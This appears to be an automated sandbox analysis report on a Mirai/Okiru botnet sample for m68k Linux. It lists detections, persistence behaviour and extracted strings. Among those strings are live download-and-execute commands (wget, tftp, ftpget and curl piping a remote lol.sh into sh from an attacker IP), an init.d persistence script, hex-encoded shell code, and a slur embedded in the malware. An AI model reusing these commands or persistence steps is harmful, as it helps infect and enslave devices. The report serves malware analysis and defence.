Linux Analysis Report
m68k.nn.elf

Overview

General Information

Sample name: m68k.nn.elf
Analysis ID: 1579429
MD5: f457bbd6f712e4fce78b36c509fa93dc
SHA1: b384c2e766c782a8161082fd1256fab2757c19aa
SHA256: 7b21eb15e07585666b788917dd82723589f27c1d75752b9301147ed6b3d18ac2
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 80
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: m68k.nn.elf Virustotal: Detection: 33% Perma Link
Source: m68k.nn.elf ReversingLabs: Detection: 34%
Found strings indicative of a multi-platform dropper
Source: m68k.nn.elf String: getinfo xxxNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bin/loginmalloc[start_pid_hopping] Failed to clone: %s
Source: m68k.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Sample listens on a socket
Source: /tmp/m68k.nn.elf (PID: 5504) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: m68k.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, m68k.nn.elf.30.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: m68k.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: m68k.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: m68k.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: getinfo xxxNIGGERNIGGERGETCOURRPERTEDDDDDDDDDDHAHAHAHAHAHAAHAHAHHAHAMDWHO??wasHeERe.BIGDADDYCATISURDAD!/proc/self/exe(deleted)/proc/%s/exe/proc/%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/sys/media/srv/sbin/httpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdhome/Davincissh/var/spool/var/Sofiasshd/usr/co
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal80.spre.troj.evad.linELF@0/10@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/m68k.nn.elf (PID: 5504) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/m68k.nn.elf (PID: 5504) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5554) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5571) File: /etc/rc.d/S99m68k.nn.elf -> /etc/init.d/m68k.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/m68k.nn.elf (PID: 5504) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5551) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5562) File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/m68k.nn.elf (PID: 5520) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5549) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5552) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5555) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/m68k.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting m68k.nn.elf'\n /tmp/m68k.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping m68k.nn.elf'\n killall m68k.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/m68k.nn.elf" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5560) Shell command executed: sh -c "chmod +x /etc/init.d/m68k.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5563) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/m68k.nn.elf (PID: 5569) Shell command executed: sh -c "ln -s /etc/init.d/m68k.nn.elf /etc/rc.d/S99m68k.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5551) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5562) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/m68k.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5568) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5533) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/m68k.nn.elf (PID: 5504) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5551) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5562) File: /etc/init.d/m68k.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/m68k.nn.elf (PID: 5504) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/m68k.nn.elf (PID: 5504) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5555) Writes shell script file to disk with an unusual file extension: /etc/init.d/m68k.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
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Drops files in suspicious directories
Source: /tmp/m68k.nn.elf (PID: 5504) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5555) File: /etc/init.d/m68k.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/m68k.nn.elf (PID: 5504) Queries kernel information via 'uname': Jump to behavior
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: m68k.nn.elf, 5504.1.0000562b7cf30000.0000562b7cfb5000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: m68k.nn.elf, 5504.1.0000562b7cf30000.0000562b7cfb5000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k
Source: m68k.nn.elf, 5504.1.0000562b7cf30000.0000562b7cfb5000.rw-.sdmp Binary or memory string: |+V5!/usr/bin/vmtoolsd
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp Binary or memory string: ?x86_64/usr/bin/qemu-m68k/tmp/m68k.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/m68k.nn.elf
Source: m68k.nn.elf, 5504.1.0000562b7cf30000.0000562b7cfb5000.rw-.sdmp Binary or memory string: |+V!/etc/qemu-binfmt/m68k
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp Binary or memory string: /tmp/qemu-open.Fr6rHn
Source: m68k.nn.elf, 5504.1.00007ffe5a611000.00007ffe5a632000.rw-.sdmp Binary or memory string: sy+V/tmp/qemu-open.Fr6rHn-

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: m68k.nn.elf, type: SAMPLE
Source: Yara match File source: 5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: m68k.nn.elf, type: SAMPLE
Source: Yara match File source: 5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: m68k.nn.elf PID: 5504, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: m68k.nn.elf, type: SAMPLE
Source: Yara match File source: 5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: m68k.nn.elf, type: SAMPLE
Source: Yara match File source: 5504.1.00007fbf0c001000.00007fbf0c01c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: m68k.nn.elf PID: 5504, type: MEMORYSTR

No Screenshots

⊘No contacted IP infos

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true